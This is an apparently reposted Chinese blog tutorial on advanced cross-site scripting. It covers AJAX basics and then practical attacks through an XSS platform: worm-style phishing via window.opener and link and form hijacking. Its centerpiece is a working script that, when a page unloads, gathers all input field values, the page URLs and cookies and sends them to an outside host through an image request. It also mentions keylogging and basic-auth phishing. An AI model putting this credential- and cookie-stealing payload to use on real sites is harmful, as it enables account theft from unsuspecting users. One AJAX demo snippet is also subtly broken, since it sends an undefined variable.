XSS进阶

admin 2022年3月11日10:30:33评论93 views字数 4405阅读14分41秒阅读模式

前置知识点:

①javascript基础知识

javascript参考文档

https://www.w3school.com.cn/jsref/index.asp

自我理解的javascriptXSS进阶

基础的javascript语法

XSS进阶
在这里插入图片描述

XSS进阶html dom理解 属性XSS进阶

从基础的语法也可以思考到我们能够利用js进行做的一些事情了 

只要具有内容 我们就可以调用js接口去获取很多东西 

甚至于如果浏览器的沙箱出问题了 或者是electron的东西 

 调用本地资源造成rce漏洞 如 蜜罐去获取history 

给我的理解就是访问一个网站后网站里面的js调用的web api

去获取历史内容发送到指定的网站上去进而进行记录

②ajax基础

概念:Asynchronous JavaScript and XML,异步的 JavaScript 和 XML

作用原理:(即实现只更新需要更新资源的原理)

1.浏览器创建 XMLHttpRequest 对象,发送 AJAX 请

 2.服务器接收请求,创建响应,返回数据 

3.浏览器接收数据,动态渲染页面

XSS进阶基本写法:

①创建xmlhttpRequest对象
var xmlhttp;
if (window.XMLHttpRequest) {
    xmlhttp = new XMLHttpRequest();
else {
    // 兼容 IE6/5
    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
②发送AJAX请求
GET方式
xmlhttp.open('GET',url, true);
xmlhttp.send();

POST方式
xmlhttp.open('POST',url, true);
xmlhttp.send(data);

③监听响应状态
利用readyState的返回码进行判断
0: 请求未初始化
1: 服务器连接已建立
2: 请求已接收
3: 请求处理中
4: 请求已完成,且响应已就绪
status
200: 请求
404: 未找到页面
//典型思路
xmlhttp.onreadystatechange=function({
    if (xmlhttp.readyState==4 && xmlhttp.status==200) {
        // ...
    }
}

④处理响应
responseText和responseXML属性接收服务端返回的数据
xmlhttp.onreadystatechange=function({
    if (xmlhttp.readyState==4 && xmlhttp.status==200) {
        console.log(xmlhttp.responseText);
        // 获得响应数据并使用
    }
}

简单的demo:XSS进阶

如这里针对表单进行编写一个demo去发送数据

//第一步获取到数据
利用dom html的知识点
<script type="text/javascript">
var account=document.getElementById('account');
var password=document.getElementById('password');
var submit=document.getElementsByName('submit'); 
 submit.onclick=function(){
var xhr=new XMLHttpRequest();
var accountvalue=account.value;
var passwordvalue=password.value;

var data='account='+ accountvalue+'&password='+passwordvalue;
xhr.open('post','http://localhost:3000/post');
xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xhr.send(params);
xhr.onload=function(){
    console.log(xhr.responseText)
    }
}
var accountvalue=account.value; 
console.log(accountvalue);

③xss获取数据的原理

因为具有同源策略,所以直接注入xss代码调用html dom发送cookie给其他网站的思路获取cookie以及数据 这条路被限定死了

但是我们可以从其他的思路绕 

①跨域思路绕 有些标签允许跨域 因此我们可以把我们的代码扔在一个页面里面 然后利用标签去引用加载他 如 '"> 然后我们在一个平台里面即可绕过同源策略进而获取到数据

②插入表单类代码进行钓鱼攻击XSS进阶

t00ls的XSS平台实战利用

一.蠕虫进行钓鱼

实战攻击方法:配置方法 ①配置一个基础的demoXSS进阶XSS进阶②在创建一个蠕虫 把基础配置里面的xssurl扔到蠕虫配置里面去XSS进阶然后进行组合 当访问时 会自动劫持该页面的标签的其他页面 如 在本页中XSS进阶

a标签的下一个中 弹弹弹弹走鱼尾纹XSS进阶

最后相应的cookie以及内容弹回在接受那个地方XSS进阶

产生原理研究:只有通过脚本弹出的页面,才能拥有 opener 属性。

然而事实上,通过超链接点开的页面居然也有 opener属性:不受同源策略限制 即可直接调用这个进行写 进而注入代码XSS进阶

两种注入

反向注入(即往父辈进行注入) 

正向注入(往子代进行注入)

原理: 在用户点击瞬间,屏蔽掉默认的超链接 转而用弹框页进行取代,进而把xss的代码注入到了windows.open的跳转页面去了

windows.open的思路

<SCRIPT LANGUAGE="javascript">
<!--
window.open ('page.html')
-->
</SCRIPT>

常见三种劫持

链接劫持(即上面那种)

表单劫持 

原理:window.open 第二个参数可以赋予新窗口一个 name,然后将 name 赋予表单的 target 属性,即可在我们创建的新窗口里提交 

框架注入劫持

二.新表单(登录)劫持

XSS进阶原理分析:

调用document.getElementsByTagName('input');

去获取所有的input标签 然后进行提权标签里面的内容通过去发送

document.getElementsByTagName("body")[0].setAttribute("onunload","postData()");
function postData() { 
        var locationurl=function() {
        try {
            return document.location
        } catch(e) {
            return ''
        }
    }();
        var topurl=function() {
        try {
            return top.location.href
        } catch(e) {
            return ''
        }
    }();
        var cookie = function() {
        try {
            return document.cookie
        } catch(e) {
            return ''
        }
    }();
        var inputs, index;
        var output ="";
        var outputif ="";
        inputs = document.getElementsByTagName('input');  
        for (index = 0; index < inputs.length; ++index) {
                input_name = inputs[index].id || inputs[index].name;
                if(input_name.replace(/(^s*)|(s*$)/g, "").length >2 || inputs[index].value.replace(/(^s*)|(s*$)/g, "").length >2){
                   output = output + "----" + input_name + "=" + inputs[index].value;
                   if(input_name.toLowerCase != "submit" || inputs[index].type.toLowerCase != "submit"){
                       outputif = outputif + inputs[index].value;
                   }
                 }
        }
        output = encodeURIComponent(output); //此版本为修复版2017-08-08 gdd.gd
        if(outputif.replace(/(^s*)|(s*$)/g, "").length >4){
            new Image().src = "//x0.nz/bdstatic.com/?callback=jsonp&id=dSad"+"&location="+encodeURIComponent(locationurl)+"&toplocation="+encodeURIComponent(topurl)+"&datastorage="+output+"&cookie="+encodeURIComponent(cookie);
        }
}

三.xss爬虫

 使用方法 还行 还可以这个 获取源码还可以XSS进阶XSS进阶四.其他自己觉得不是有意义的

 ①基础认证钓鱼XSS进阶②读取源码其实跟爬取那个差不多 

读取到的是我们访问能看到的文件内容 不过结合xss钓鱼别人还能用吧 只能说将就看XSS进阶XSS进阶③键盘记录 我没成功XSS进阶④url跳转跳转 不好用XSS进阶

总结:其实核心就是自己结合网站的参数然后利用ajax的知识和javascript的知识点 编写一个demo.js然后跨域或者钓鱼的思路进行获取数据和进一步利用


原文始发于微信公众号(goddemon的小屋):XSS进阶

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月11日10:30:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XSS进阶http://cn-sec.com/archives/825671.html

发表评论

匿名网友 填写信息